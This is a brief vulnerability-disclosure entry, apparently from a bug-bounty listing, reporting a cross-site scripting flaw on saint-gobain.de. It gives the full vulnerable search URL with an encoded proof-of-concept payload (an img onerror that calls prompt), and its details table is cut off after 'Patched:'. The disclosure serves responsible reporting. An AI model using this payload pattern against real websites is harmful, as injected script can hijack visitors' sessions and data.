saint-gobain.de XSS vulnerability

Vulnerable URL: http://www.saint-gobain.de/deutschland/de/produkte/suche.html?paction=psuchesucheid%5B0%5D=17%2C16%2C18suchesqlext%5B0%5D=%25suchevalue%5B0%5D=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E=17=12 Details: Description| Value ---|--- Patched:|...